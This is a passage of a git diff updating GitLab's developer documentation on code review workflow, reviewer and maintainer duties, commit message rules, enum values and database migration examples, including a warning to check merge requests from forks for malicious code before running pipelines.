to ask security experts for cross-validation. -## Contribute CI/CD Template Merge Requests +## Contribute CI/CD template merge requests -After your CI/CD Template MR is created and labeled with `ci::templates`, DangerBot suggests one reviewer and one maintainer that can review your code. When your merge request is ready for review, please `@mention` the reviewer and ask them to review your CI/CD Template changes. See details in the merge request that added [a DangerBot task for CI/CD Template MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44688). +After your CI/CD template MR is created and labeled with `ci::templates`, DangerBot +suggests one reviewer and one maintainer that can review your code. When your merge +request is ready for review, please `@mention` the reviewer and ask them to review +your CI/CD template changes. See details in the merge request that added +[a DangerBot task for CI/CD template MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44688). diff --git a/doc/development/code_review.md b/doc/development/code_review.md index 0a811ceba65..731fec98933 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -38,14 +38,15 @@ Depending on the areas your merge request touches, it must be **approved** by on or more [maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#maintainer): For approvals, we use the approval functionality found in the merge request -widget. Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval). +widget. For reviewers, we use the [reviewer functionality](../user/project/merge_requests/getting_started.md#reviewer) in the sidebar. +Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval). Getting your merge request **merged** also requires a maintainer. If it requires more than one approval, the last maintainer to review and approve merges it. ### Domain experts -Domain experts are team members who have substantial experience with a specific technology, product feature or area of the codebase. Team members are encouraged to self-identify as domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml) +Domain experts are team members who have substantial experience with a specific technology, product feature or area of the codebase. Team members are encouraged to self-identify as domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml). When self-identifying as a domain expert, it is recommended to assign the MR changing the `team.yml` to be merged by an already established Domain Expert or a corresponding Engineering Manager. @@ -99,8 +100,9 @@ with [domain expertise](#domain-experts). Read the [database review guidelines](database_review.md) for more details. 1. If your merge request includes frontend changes (*1*), it must be **approved by a [frontend maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_frontend)**. -1. If your merge request includes UX changes (*1*), it must be - **approved by a [UX team member](https://about.gitlab.com/company/team/)**. +1. If your merge request includes user-facing changes (*3*), it must be + **approved by a [Product Designer](https://about.gitlab.com/handbook/engineering/ux/product-design/)**, + based on assignments in the appropriate [DevOps stage group](https://about.gitlab.com/handbook/product/categories/#devops-stages). 1. If your merge request includes adding a new JavaScript library (*1*)... - If the library significantly increases the [bundle size](https://gitlab.com/gitlab-org/frontend/playground/webpack-memory-metrics/-/blob/master/doc/report.md), it must @@ -109,16 +111,14 @@ with [domain expertise](#domain-experts). GitLab, the license must be **approved by a [legal department member](https://about.gitlab.com/handbook/legal/)**. More information about license compatibility can be found in our [GitLab Licensing and Compatibility documentation](licensing.md). -1. If your merge request includes adding a new UI/UX paradigm (*1*), it must be - **approved by a [UX lead](https://about.gitlab.com/company/team/)**. 1. If your merge request includes a new dependency or a file system change, it must be **approved by a [Distribution team member](https://about.gitlab.com/company/team/)**. See how to work with the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution) for more details. 1. If your merge request includes documentation changes, it must be **approved by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)**, based on the appropriate [product category](https://about.gitlab.com/handbook/product/categories/). -1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved +1. If your merge request includes end-to-end **and** non-end-to-end changes (*4*), it must be **approved by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**. -1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)** +1. If your merge request only includes end-to-end changes (*4*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)** 1. If your merge request includes a new or updated [application limit](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**. 1. If your merge request includes Product Intelligence (telemetry or analytics) changes, it should be reviewed and approved by a [Product Intelligence engineer](https://gitlab.com/gitlab-org/growth/product_intelligence/engineers). 1. If your merge request includes an addition of, or changes to a [Feature spec](testing_guide/testing_levels.md#frontend-feature-tests), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa) or [Quality reviewer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_reviewers_qa)**. @@ -128,7 +128,10 @@ with [domain expertise](#domain-experts). - (*2*): We encourage you to seek guidance from a database maintainer if your merge request is potentially introducing expensive queries. It is most efficient to comment on the line of code in question with the SQL queries so they can give their advice. -- (*3*): End-to-end changes include all files within the `qa` directory. +- (*3*): User-facing changes include both visual changes (regardless of how minor), + and changes to the rendered DOM which impact how a screen reader may announce + the content. +- (*4*): End-to-end changes include all files within the `qa` directory. #### Security requirements @@ -137,9 +140,11 @@ View the updated documentation regarding [internal application security reviews] ### The responsibility of the merge request author The responsibility to find the best solution and implement it lies with the -merge request author. +merge request author. The author or [directly responsible individual](https://about.gitlab.com/handbook/people-group/directly-responsible-individuals/) +will stay assigned to the merge request as the assignee throughout +the code review lifecycle. If you are unable to set yourself as an assignee, ask a [reviewer](https://about.gitlab.com/handbook/engineering/workflow/code-review/#reviewer) to do this for you. -Before assigning a merge request to a maintainer for approval and merge, they +Before requesting a review from a maintainer to approve and merge, they should be confident that: - It actually solves the problem it was meant to solve. @@ -184,12 +189,11 @@ Avoid: [include a link to the relevant issue](code_comments.md). - Adding comments which only explain what the code is doing. If non-TODO comments are added, they should [_explain why, not what_](https://blog.codinghorror.com/code-tells-you-how-comments-tell-you-why/). -- Assigning merge requests with failed tests to maintainers. If the tests are failing and you have to assign, ensure you leave a comment with an explanation. +- Requesting maintainer reviews of merge requests with failed tests. If the tests are failing and you have to request a review, ensure you leave a comment with an explanation. - Excessively mentioning maintainers through email or Slack (if the maintainer is reachable -through Slack). If you can't assign a merge request, `@` mentioning a maintainer in a comment is acceptable and in all other cases assigning the merge request is sufficient. +through Slack). If you can't add a reviewer for a merge request, `@` mentioning a maintainer in a comment is acceptable and in all other cases adding a reviewer is sufficient. -This -[saves reviewers time and helps authors catch mistakes earlier](https://www.ibm.com/developerworks/rational/library/11-proven-practices-for-peer-review/index.html#__RefHeading__97_174136755). +This saves reviewers time and helps authors catch mistakes earlier. ### The responsibility of the reviewer @@ -197,9 +201,10 @@ This that it meets all requirements, you should: - Click the Approve button. -- Advise the author their merge request has been reviewed and approved. -- Assign the merge request to a maintainer. Default to assigning it to a maintainer with [domain expertise](#domain-experts), +- `@` mention the author to generate a to-do notification, and advise them that their merge request has been reviewed and approved. +- Request a review from a maintainer. Default to requests for a maintainer with [domain expertise](#domain-experts), however, if one isn't available or you think the merge request doesn't need a review by a [domain expert](#domain-experts), feel free to follow the [Reviewer roulette](#reviewer-roulette) suggestion. +- Remove yourself as a reviewer. ### The responsibility of the maintainer @@ -227,7 +232,7 @@ If a developer who happens to also be a maintainer was involved in a merge reque as a reviewer, it is recommended that they are not also picked as the maintainer to ultimately approve and merge it. Maintainers should check before merging if the merge request is approved by the -required approvers. +required approvers. If still awaiting further approvals from others, remove yourself as a reviewer then `@` mention the author and explain why in a comment. Stay as reviewer if you're merging the code. Maintainers must check before merging if the merge request is introducing new vulnerabilities, by inspecting the list in the Merge Request @@ -245,6 +250,19 @@ Note that certain Merge Requests may target a stable branch. These are rare events. These types of Merge Requests cannot be merged by the Maintainer. Instead these should be sent to the [Release Manager](https://about.gitlab.com/community/release-managers/). +After merging, a maintainer should stay as the reviewer listed on the merge request. + +### Dogfooding the Reviewers feature + +On March 18th 2021, an updated process was put in place aimed at efficiently and consistently dogfooding the Reviewers feature. + +Here is a summary of the changes, also reflected in this section above. + +- Merge request authors and DRIs stay as Assignees +- Authors request a review from Reviewers when they are expected to review +- Reviewers remove themselves after they're done reviewing/approving +- The last approver stays as Reviewer upon merging + ## Best practices ### Everyone @@ -304,11 +322,11 @@ first time. - Push commits based on earlier rounds of feedback as isolated commits to the branch. Do not squash until the branch is ready to merge. Reviewers should be able to read individual updates based on their earlier feedback. -- Assign the merge request back to the reviewer once you are ready for another round of - review. If you do not have the ability to assign merge requests, `@` +- Request a new review from the reviewer once you are ready for another round of + review. If you do not have the ability to request a review, `@` mention the reviewer instead. -### Assigning a merge request for a review +### Requesting a review When you are ready to have your merge request reviewed, you should request an initial review by assigning it to a reviewer from your group or team. @@ -319,14 +337,14 @@ You can also use `workflow::ready for review` label. That means that your merge When your merge request receives an approval from the first reviewer it can be passed to a maintainer. You should default to choosing a maintainer with [domain expertise](#domain-experts), and otherwise follow the Reviewer Roulette recommendation or use the label `ready for merge`. Sometimes, a maintainer may not be available for review. They could be out of the office or [at capacity](#review-response-slo). -You can and should check the maintainer’s availability in their profile. If the maintainer recommended by +You can and should check the maintainer's availability in their profile. If the maintainer recommended by the roulette is not available, choose someone else from that list. -It is responsibility of the author of a merge request that the merge request is reviewed. If it stays in `ready for review` state too long it is recommended to assign it to a specific reviewer. +It is the responsibility of the author for the merge request to be reviewed. If it stays in the `ready for review` state too long it is recommended to request a review from a specific reviewer. #### List of merge requests ready for review -Developers who have capacity can regularly check the list of [merge requests to review](https://gitlab.com/groups/gitlab-org/-/merge_requests?state=opened&label_name%5B%5D=workflow%3A%3Aready%20for%20review) and assign any merge request they want to review. +Developers who have capacity can regularly check the list of [merge requests to review](https://gitlab.com/groups/gitlab-org/-/merge_requests?state=opened&label_name%5B%5D=workflow%3A%3Aready%20for%20review) and add themselves as a reviewer for any merge request they want to review. ### Reviewing a merge request @@ -347,12 +365,11 @@ experience, refactors the existing code). Then: - For non-mandatory suggestions, decorate with (non-blocking) so the author knows they can optionally resolve within the merge request or follow-up at a later stage. - There's a [Chrome/Firefox add-on](https://gitlab.com/conventionalcomments/conventional-comments-button) which you can use to apply [Conventional Comment](https://conventionalcomments.org/) prefixes. -- Ensure there are no open dependencies. Check [related issues](../user/project/issues/related_issues.md) for blockers. Clarify with the author(s) +- Ensure there are no open dependencies. Check [linked issues](../user/project/issues/related_issues.md) for blockers. Clarify with the author(s) if necessary. If blocked by one or more open MRs, set an [MR dependency](../user/project/merge_requests/merge_request_dependencies.md). - After a round of line notes, it can be helpful to post a summary note such as "Looks good to me", or "Just a couple things to address." -- Assign the merge request to the author if changes are required following your - review. +- Let the author know if changes are required following your review. ### Merging a merge request @@ -371,8 +388,7 @@ those changes directly without going back to the author. You can do this by using the [suggest changes](../user/discussions/index.md#suggest-changes) feature to apply your own suggestions to the merge request. Note that: -- If the changes are not straightforward, please prefer assigning the merge request back - to the author. +- If the changes are not straightforward, please prefer allowing the author to make the change. - **Before applying suggestions**, edit the merge request to make sure [squash and merge](../user/project/merge_requests/squash_and_merge.md#squash-and-merge) @@ -392,17 +408,26 @@ When ready to merge: circling back with the author about that. Otherwise, if the MR only has a few commits, we'll be respecting the author's setting by not squashing them. -- **Start a new merge request pipeline with the `Run Pipeline` button in the merge - request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).** Note that: +WARNING: +**If the merge request is from a fork, review all changes thoroughly for malicious code before +starting a [Pipeline for Merged Results](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).** +Pay particular attention to new dependencies and dependency updates, such as Ruby gems and Node packages. +While changes to files like `Gemfile.lock` or `yarn.lock` might appear trivial, they could lead to the +fetching of malicious packages. +If the MR source branch is more than 100 commits behind the target branch, ask the author to rebase it. +Review links and images, especially in documentation MRs. +When in doubt, ask someone from `@gitlab-com/gl-security/appsec` to review the merge request **before starting any merge request pipeline**. + +- Start a new merge request pipeline with the `Run pipeline` button in the merge + request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS). + Note that: - If **[master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master), - do not merge the merge request**. Follow these specific [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#maintaining-throughput-during-broken-master). + do not merge the merge request** except for + [very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master). + For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master). - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you might merge without starting a new pipeline as the merge request is close enough to `master`. - - If the **merge request is from a fork**, we can use [Pipelines for Merged Results from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) with caution. - Before triggering the pipeline, review all changes for **malicious code**. - If you cannot trigger the pipeline, review the status of the fork relative to `master`. - If it's more than 100 commits behind, ask the author to rebase it before merging. - When you set the MR to "Merge When Pipeline Succeeds", you should take over subsequent revisions for anything that would be spotted after that. @@ -500,7 +525,7 @@ Enterprise Edition instance. This has some implications: ### Review turnaround time Because [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization), -reviewers are expected to review assigned merge requests in a timely manner, +reviewers are expected to review merge requests in a timely manner, even when this may negatively impact their other tasks and priorities. Doing so allows everyone involved in the merge request to iterate faster as the @@ -515,7 +540,7 @@ To ensure swift feedback to ready-to-review code, we maintain a `Review-response If you don't think you can review a merge request in the `Review-response` SLO time frame, let the author know as soon as possible and try to help them find another reviewer or maintainer who is able to, so that they can be unblocked -and get on with their work quickly. +and get on with their work quickly. Remove yourself as a reviewer. If you think you are at capacity and are unable to accept any more reviews until some have been completed, communicate this through your GitLab status by setting @@ -529,7 +554,7 @@ this through your GitLab.com Status, authors are expected to realize this and find a different reviewer themselves. When a merge request author has been blocked for longer than -the `Review-response` SLO, they are free to remind the reviewer through Slack or assign +the `Review-response` SLO, they are free to remind the reviewer through Slack or add another reviewer. ### Customer critical merge requests @@ -539,7 +564,7 @@ A merge request may benefit from being considered a customer critical priority b Properties of customer critical merge requests: - The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request is customer critical. -- The DRI assigns the `customer-critical-merge-request` label to the merge request. +- The DRI applies the `customer-critical-merge-request` label to the merge request. - It is required that the reviewer(s) and maintainer(s) involved with a customer critical merge request are engaged as soon as this decision is made. - It is required to prioritize work for those involved on a customer critical merge request so that they have the time available necessary to focus on it. - It is required to adhere to GitLab [values](https://about.gitlab.com/handbook/values/) and processes when working on customer critical merge requests, taking particular note of family and friends first/work second, definition of done, iteration, and release when it's ready. diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index 7a1c189e087..227923b324e 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -149,7 +149,7 @@ Keep the following in mind when submitting merge requests: - [Documentation](../documentation/styleguide/index.md) style guide. - [Code style guides](style_guides.md). - Sometimes style guides will be followed but the code will lack structural integrity, or the - reviewer will have reservations about the code’s overall quality. When there is a reservation, + reviewer will have reservations about the code's overall quality. When there is a reservation, the reviewer will inform the author and provide some guidance. - Though GitLab generally allows anyone to indicate [approval](../../user/project/merge_requests/merge_request_approvals.md) of merge requests, the diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index 7029c8a8384..c505b8cf467 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -412,7 +412,7 @@ in the regression issue as fixes are addressed. In order to track things that can be improved in the GitLab codebase, we use the ~"technical debt" label in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues). -For missed user experience requirements, we use the ~"UX debt" label. +We use the ~"UX debt" label when we choose to deviate from the MVC, in a way that harms the user experience. These labels should be added to issues that describe things that can be improved, shortcuts that have been taken, features that need additional attention, and all diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index 9051b621bcd..32b0ff45847 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -131,9 +131,9 @@ Commit messages should follow the guidelines below, for reasons explained by Chr - The commit subject must not be longer than 72 characters. - The commit subject must not end with a period. - The commit body must not contain more than 72 characters per line. -- Commits that change 30 or more lines across at least 3 files must - describe these changes in the commit body. - The commit subject or body must not contain Emojis. +- Commits that change 30 or more lines across at least 3 files should + describe these changes in the commit body. - Use issues and merge requests' full URLs instead of short references, as they are displayed as plain text outside of GitLab. - The merge request should not contain more than 10 commit messages. @@ -178,7 +178,7 @@ Example commit message template that can be used on your machine that embodies t # Do not end the subject line with a period # Subject must contain at least 3 words # Separate subject from body with a blank line -# Commits that change 30 or more lines across at least 3 files must +# Commits that change 30 or more lines across at least 3 files should # describe these changes in the commit body # Do not use Emojis # Use the body to explain what and why vs. how @@ -249,6 +249,7 @@ requirements. 1. [Black-box tests/end-to-end tests](../testing_guide/testing_levels.md#black-box-tests-at-the-system-level-aka-end-to-end-tests) added if required. Please contact [the quality team](https://about.gitlab.com/handbook/engineering/quality/#teams) with any questions. +1. The new feature does not degrade the user experience of the product. ## Dependencies diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md index d0f04c30c7b..1a72d99112f 100644 --- a/doc/development/creating_enums.md +++ b/doc/development/creating_enums.md @@ -114,3 +114,41 @@ class Pipeline < ApplicationRecord } end ``` + +## Add new values in the gap + +After merging some EE and FOSS enums, there might be a gap between the two groups of values: + +```ruby +module Enums + module Ci + module CommitStatus + def self.failure_reasons + { + # ... + data_integrity_failure: 12, + forward_deployment_failure: 13, + insufficient_bridge_permissions: 1_001, + downstream_bridge_project_not_found: 1_002, + # ... + } + end + end + end +end +``` + +To add new values, you should fill the gap first. +In the example above add `14` instead of `1_003`: + +```ruby +{ + # ... + data_integrity_failure: 12, + forward_deployment_failure: 13, + a_new_value: 14, + insufficient_bridge_permissions: 1_001, + downstream_bridge_project_not_found: 1_002, + # ... +} +``` diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index 413c0a31eec..7fb1e11b303 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -150,16 +150,13 @@ at GitLab so far: ## Limitations -- Danger output is not added to a merge request comment if working on - a fork. This happens because the secret variable from the canonical - project is not shared to forks. - To work around this, you can add an [environment - variable](../ci/variables/README.md) called - `DANGER_GITLAB_API_TOKEN` with a personal API token to your - fork. That way the danger comments are made from CI using that - API token instead. - Making the variable - [masked](../ci/variables/README.md#mask-a-custom-variable) makes sure - it doesn't show up in the job logs. The variable cannot be - [protected](../ci/variables/README.md#protect-a-custom-variable), - as it needs to be present for all feature branches. +Danger is run but its output is not added to a merge request comment if working +on a fork. This happens because the secret variable from the canonical project +is not shared to forks. To work around this, you can add an [environment +variable](../ci/variables/README.md) called `DANGER_GITLAB_API_TOKEN` with a +personal API token to your fork. That way the danger comments are made from CI +using that API token instead. Making the variable +[masked](../ci/variables/README.md#mask-a-cicd-variable) makes sure it +doesn't show up in the job logs. The variable cannot be +[protected](../ci/variables/README.md#protect-a-cicd-variable), as it needs +to be present for all feature branches. diff --git a/doc/development/database/add_foreign_key_to_existing_column.md b/doc/development/database/add_foreign_key_to_existing_column.md index a5d40d455d8..f83dc35b4a6 100644 --- a/doc/development/database/add_foreign_key_to_existing_column.md +++ b/doc/development/database/add_foreign_key_to_existing_column.md @@ -58,6 +58,9 @@ emails = Email.where(user_id: 1) # returns emails for the deleted user Add a `NOT VALID` foreign key constraint to the table, which enforces consistency on the record changes. +[Using the `with_lock_retries` helper method is advised when performing operations on high-traffic tables](../migration_style_guide.md#when-to-use-the-helper-method), +in this case, if the table or the foreign table is a high-traffic table, we should use the helper method. + In the example above, you'd be still able to update records in the `emails` table. However, when you'd try to update the `user_id` with non-existent value, the constraint causes a database error. Migration file for adding `NOT VALID` foreign key: @@ -66,8 +69,6 @@ Migration file for adding `NOT VALID` foreign key: class AddNotValidForeignKeyToEmailsUser < ActiveRecord::Migration[5.2] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up # safe to use: it requires short lock on the table since we don't validate the foreign key add_foreign_key :emails, :users, on_delete: :cascade, validate: false @@ -94,8 +95,6 @@ Example for cleaning up records in the `emails` table within a database migratio class RemoveRecordsWithoutUserFromEmailsTable < ActiveRecord::Migration[5.2] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - disable_ddl_transaction! class Email < ActiveRecord::Base @@ -130,8 +129,6 @@ Migration file for validating the foreign key: class ValidateForeignKeyOnEmailUsers < ActiveRecord::Migration[5.2] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up validate_foreign_key :emails, :user_id end diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md index a242a3d5fd0..de131ddffbc 100644 --- a/doc/development/database/database_reviewer_guidelines.md +++ b/doc/development/database/database_reviewer_guidelines.md @@ -66,7 +66,7 @@ Finally, you can find various guides in the [Database guides](index.md) page tha topics and use cases. The most frequently required during database reviewing are the following: - [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations. -- [What requires downtime?](../what_requires_downtime.md). +- [Avoiding downtime in migrations](../avoiding_downtime_in_migrations.md). - [SQL guidelines](../sql.md) for working with SQL queries. ## How to apply for becoming a database maintainer diff --git a/doc/development/database/index.md b/doc/development/database/index.md index 870ae1542bd..01f6753e7a0 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -18,11 +18,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w - [Understanding EXPLAIN plans](../understanding_explain_plans.md) - [explain.depesz.com](https://explain.depesz.com/) or [explain.dalibo.com](https://explain.dalibo.com/) for visualizing the output of `EXPLAIN` -- [pgFormatter](http://sqlformat.darold.net/) a PostgreSQL SQL syntax beautifier +- [pgFormatter](https://sqlformat.darold.net/) a PostgreSQL SQL syntax beautifier ## Migrations -- [What requires downtime?](../what_requires_downtime.md) +- [Avoiding downtime in migrations](../avoiding_downtime_in_migrations.md) - [SQL guidelines](../sql.md) for working with SQL queries - [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations - [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide diff --git a/doc/development/database/not_null_constraints.md b/doc/development/database/not_null_constraints.md index 01d5b7af7f1..9d1850f5504 100644 --- a/doc/development/database/not_null_constraints.md +++ b/doc/development/database/not_null_constraints.md @@ -26,8 +26,6 @@ For example, consider a migration that creates a table with two `NOT NULL` colum ```ruby class CreateDbGuides < ActiveRecord::Migration[6.0] - DOWNTIME = false - def change create_table :db_guides do |t| t.bigint :stars, default: 0, null: false @@ -47,8 +45,6 @@ For example, consider a migration that adds a new `NOT NULL` column `active` to ```ruby class AddExtendedTitleToSprints < ActiveRecord::Migration[6.0] - DOWNTIME = false - def change add_column :db_guides, :active, :boolean, default: true, null: false end @@ -117,7 +113,6 @@ with `validate: false` in a post-deployment migration, ```ruby class AddNotNullConstraintToEpicsDescription < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false disable_ddl_transaction! @@ -191,7 +186,6 @@ migration helper in a final post-deployment migration, ```ruby class ValidateNotNullConstraintOnEpicsDescription < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false disable_ddl_transaction! @@ -207,7 +201,7 @@ end ## `NOT NULL` constraints on large tables -If you have to clean up a text column for a really [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/migration_helpers.rb#L12) +If you have to clean up a text column for a [high-traffic table](../migration_style_guide.md#high-traffic-tables) (for example, the `artifacts` in `ci_builds`), your background migration will go on for a while and it will need an additional [background migration cleaning up](../background_migrations.md#cleaning-up) in the release after adding the data migration. diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md index f338520c6ca..6fbb95c4f60 100644 --- a/doc/development/database/strings_and_the_text_data_type.md +++ b/doc/development/database/strings_and_the_text_data_type.md @@ -52,8 +52,6 @@ For example, consider a migration that creates a table with two text columns, class CreateDbGuides < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up create_table_with_constraints :db_guides do |t| t.bigint :stars, default: 0, null: false @@ -89,7 +87,6 @@ For example, consider a migration that adds a new text column `extended_title` t ```ruby class AddExtendedTitleToSprints < ActiveRecord::Migration[6.0] - DOWNTIME = false # rubocop:disable Migration/AddLimitToTextColumns # limit is added in 20200501000002_add_text_limit_to_sprints_extended_title @@ -106,8 +103,6 @@ A second migration should follow the first one with a limit added to `extended_t ```ruby class AddTextLimitToSprintsExtendedTitle < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - disable_ddl_transaction! def up @@ -185,8 +180,6 @@ in a post-deployment migration, class AddTextLimitMigration < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - disable_ddl_transaction! def up @@ -266,7 +259,6 @@ helper in a final post-deployment migration, ```ruby class ValidateTextLimitMigration < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false disable_ddl_transaction! diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md index dc64b59018b..67ec1b3c4f1 100644 --- a/doc/development/database_debugging.md +++ b/doc/development/database_debugging.md @@ -29,10 +29,10 @@ If you just want to delete everything and start over with sample data (approxima also does `db:reset` and runs DB-specific migrations: ```shell -bundle exec rake dev:setup RAILS_ENV=development +bundle exec rake db:setup RAILS_ENV=development ``` -If your test DB is giving you problems, it is safe to nuke it because it doesn't contain important +If your test DB is giving you problems, it is safe to delete everything because it doesn't contain important data: ```shell diff --git a/doc/development/database_query_comments.md b/doc/development/database_query_comments.md index 39b14074073..e4133633a77 100644 --- a/doc/development/database_query_comments.md +++ b/doc/development/database_query_comments.md @@ -20,9 +20,8 @@ and its application source from the comments. Queries generated from **Rails** include the following metadata in comments: - `application` -- `controller` -- `action` - `correlation_id` +- `endpoint_id` - `line` Queries generated from **Sidekiq** workers will include the following metadata @@ -30,20 +29,34 @@ in comments: - `application` - `jid` -- `job_class` - `correlation_id` +- `endpoint_id` - `line` -Examples of queries with comments as observed in `development.log`: +`endpoint_id` is a single field that can represent any endpoint in the application: -1. Rails: +- For Rails controllers, it's the controller and action. For example, `Projects::BlobController#show`. +- For Grape API endpoints, it's the route. For example, `/api/:version/users/:id`. +- For Sidekiq workers, it's the worker class name. For example, `UserStatusCleanup::BatchWorker`. + +`line` is not present in production logs due to the additional overhead required. + +Examples of queries with comments: + +- Rails: + + ```sql + /*application:web,controller:blob,action:show,correlation_id:01EZVMR923313VV44ZJDJ7PMEZ,endpoint_id:Projects::BlobController#show*/ SELECT "routes".* FROM "routes" WHERE "routes"."source_id" = 75 AND "routes"."source_type" = 'Namespace' LIMIT 1 + ``` + +- Grape: ```sql - /*application:web,controller:jobs,action:trace,correlation_id:rYF4mey9CH3,line:/app/policies/project_policy.rb:504:in `feature_available?'*/ SELECT "project_features".* FROM "project_features" WHERE "project_features"."project_id" = $1 LIMIT $2 [["project_id", 5], ["LIMIT", 1]] + /*application:web,correlation_id:01EZVN0DAYGJF5XHG9N4VX8FAH,endpoint_id:/api/:version/users/:id*/ SELECT COUNT(*) FROM "users" INNER JOIN "user_follow_users" ON "users"."id" = "user_follow_users"."followee_id" WHERE "user_follow_users"."follower_id" = 1 ``` -1. Sidekiq: +- Sidekiq: ```sql - /*application:sidekiq,jid:e7d6668a39a991e323009833,job_class:ExpireJobCacheWorker,correlation_id:rYF4mey9CH3,line:/app/workers/expire_job_cache_worker.rb:14:in `perform'*/ SELECT "ci_pipelines".* FROM "ci_pipelines" WHERE "ci_pipelines"."id" = $1 LIMIT $2 [["id", 64], ["LIMIT", 1]] + /*application:sidekiq,correlation_id:df643992563683313bc0a0288fb55e23,jid:15fbc506590c625d7664b074,endpoint_id:UserStatusCleanup::BatchWorker,line:/app/workers/user_status_cleanup/batch_worker.rb:19:in `perform'*/ SELECT $1 AS one FROM "user_statuses" WHERE "user_statuses"."clear_status_at" <= $2 LIMIT $3 ``` diff --git a/doc/development/database_review.md b/doc/development/database_review.md index a19f46b2198..a25714ca6cf 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -30,9 +30,9 @@ A database review is required for: See the [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/) for implementation details. -A database reviewer is expected to look out for obviously complex +A database reviewer is expected to look out for overly complex queries in the change and review those closer. If the author does not -point out specific queries for review and there are no obviously +point out specific queries for review and there are no overly complex queries, it is enough to concentrate on reviewing the migration only. @@ -67,8 +67,8 @@ A database **reviewer**'s role is to: - Ensure the [required](#required) artifacts are provided and in the proper format. If they are not, reassign the merge request back to the author. - Perform a first-pass review on the MR and suggest improvements to the author. - Once satisfied, relabel the MR with ~"database::reviewed", approve it, and - reassign MR to the database **maintainer** suggested by Reviewer - Roulette. + request a review from the database **maintainer** suggested by Reviewer + Roulette. Remove yourself as a reviewer once this has been done. A database **maintainer**'s role is to: @@ -78,12 +78,13 @@ A database **maintainer**'s role is to: - Finally approve the MR and relabel the MR with ~"database::approved" - Merge the MR if no other approvals are pending or pass it on to other maintainers as required (frontend, backend, docs). + - If not merging, remove yourself as a reviewer. ### Distributing review workload Review workload is distributed using [reviewer roulette](code_review.md#reviewer-roulette) 